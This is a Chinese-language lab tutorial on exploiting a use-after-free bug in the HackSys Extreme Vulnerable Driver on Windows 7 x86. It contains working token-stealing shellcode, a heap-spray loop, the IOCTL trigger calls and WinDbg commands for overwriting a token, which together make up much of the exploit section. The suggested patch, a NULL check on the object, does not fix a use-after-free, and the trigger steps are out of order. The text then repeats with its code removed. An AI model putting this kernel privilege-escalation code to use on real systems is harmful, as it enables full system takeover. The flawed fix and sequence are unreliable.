Windows Kernel Exploit(一) -> UAF
字数 1041 2025-08-05 08:19:22

Windows Kernel Exploit 教学文档:UAF漏洞分析与利用

0x00 前言

本文详细讲解Windows内核中的Use-After-Free (UAF)漏洞原理及利用方法。实验环境为Windows 7 x86 sp1系统,通过HEVD (HackSys Extreme Vulnerable Driver)和OSR Loader构造漏洞环境。

0x01 漏洞原理

提权原理

在Windows系统中,进程权限由token控制。通过修改普通进程的token为系统进程的token,可以实现提权。

关键数据结构:

  • _EPROCESS:进程结构体
  • _EX_FAST_REF:存储token的结构体,位于_EPROCESS偏移0xf8

手动提权步骤:

  1. 查找System进程的token值
  2. 修改目标进程的token值为System的token

UAF原理

Use-After-Free是指内存块被释放后再次被使用的情况,主要分为三种:

  1. 内存释放后指针置NULL,再次使用导致崩溃
  2. 内存释放后指针未置NULL,且内存未被修改,程序可能正常运行
  3. 内存释放后指针未置NULL,且内存被修改,导致异常行为

在HEVD漏洞中,关键代码片段:

if (g_UseAfterFreeObject) {
    if (g_UseAfterFreeObject->Callback) {
        g_UseAfterFreeObject->Callback(); // 漏洞点
    }
}

通过覆盖释放后的Callback指针,可以控制程序执行流。

0x02 漏洞利用

利用思路

  1. 申请与漏洞对象相同大小的内存块
  2. 构造伪造对象,包含shellcode地址
  3. 通过堆喷射技术提高命中率
  4. 触发UAF执行shellcode

关键数据结构

typedef struct _FAKE_USE_AFTER_FREE {
    FunctionPointer countinter;
    char bufffer[0x54];
} FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;

Shellcode实现

提权shellcode通过以下步骤实现:

  1. 获取当前线程的_KTHREAD结构
  2. 找到当前进程的_EPROCESS结构
  3. 遍历进程链表查找System进程(PID=4)
  4. 复制System进程的token到当前进程

汇编实现:

pushad
mov eax, fs:[124h]      ; 当前线程的_KTHREAD结构
mov eax, [eax + 0x50]   ; 获取_EPROCESS结构
mov ecx, eax            ; 保存当前进程_EPROCESS
mov edx, 4              ; SYSTEM PID

find_sys_pid:
    mov eax, [eax + 0xb8]   ; 进程活动链表
    sub eax, 0xb8           ; 链表遍历
    cmp [eax + 0xb4], edx   ; 比较PID
    jnz find_sys_pid

; 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret

利用步骤

  1. 构造伪造对象:
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
  1. 堆喷射:
for (int i = 0; i < 5000; i++) {
    DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
  1. 触发UAF:
// 调用UseUaFObject()
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用FreeUaFObject()
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
  1. 验证提权:
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);

0x03 补丁分析

修复方案是在调用Callback前增加NULL检查:

if (g_UseAfterFreeObject != NULL) {
    if (g_UseAfterFreeObject->Callback) {
        g_UseAfterFreeObject->Callback();
    }
}

0x04 调试技巧

  1. 使用Windbg查看进程信息:
kd> !dml_proc
kd> dt nt!_EPROCESS <Address>
kd> dt nt!_EX_FAST_REF <Address>+f8
  1. 手动修改token:
kd> ed <ProcessAddress>+f8 <SystemTokenValue>

0x05 参考链接

  • https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/
  • CVE-2014-4113
  • CVE-2018-8120

通过本文可以全面理解Windows内核UAF漏洞的原理和利用方法,为后续研究更复杂的内核漏洞打下基础。

Windows Kernel Exploit 教学文档:UAF漏洞分析与利用 0x00 前言 本文详细讲解Windows内核中的Use-After-Free (UAF)漏洞原理及利用方法。实验环境为Windows 7 x86 sp1系统,通过HEVD (HackSys Extreme Vulnerable Driver)和OSR Loader构造漏洞环境。 0x01 漏洞原理 提权原理 在Windows系统中,进程权限由 token 控制。通过修改普通进程的 token 为系统进程的 token ,可以实现提权。 关键数据结构: _EPROCESS :进程结构体 _EX_FAST_REF :存储token的结构体,位于 _EPROCESS 偏移 0xf8 处 手动提权步骤: 查找System进程的token值 修改目标进程的token值为System的token UAF原理 Use-After-Free是指内存块被释放后再次被使用的情况,主要分为三种: 内存释放后指针置NULL,再次使用导致崩溃 内存释放后指针未置NULL,且内存未被修改,程序可能正常运行 内存释放后指针未置NULL,且内存被修改,导致异常行为 在HEVD漏洞中,关键代码片段: 通过覆盖释放后的 Callback 指针,可以控制程序执行流。 0x02 漏洞利用 利用思路 申请与漏洞对象相同大小的内存块 构造伪造对象,包含shellcode地址 通过堆喷射技术提高命中率 触发UAF执行shellcode 关键数据结构 Shellcode实现 提权shellcode通过以下步骤实现: 获取当前线程的 _KTHREAD 结构 找到当前进程的 _EPROCESS 结构 遍历进程链表查找System进程(PID=4) 复制System进程的token到当前进程 汇编实现: 利用步骤 构造伪造对象: 堆喷射: 触发UAF: 验证提权: 0x03 补丁分析 修复方案是在调用Callback前增加NULL检查: 0x04 调试技巧 使用Windbg查看进程信息: 手动修改token: 0x05 参考链接 https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/ CVE-2014-4113 CVE-2018-8120 通过本文可以全面理解Windows内核UAF漏洞的原理和利用方法,为后续研究更复杂的内核漏洞打下基础。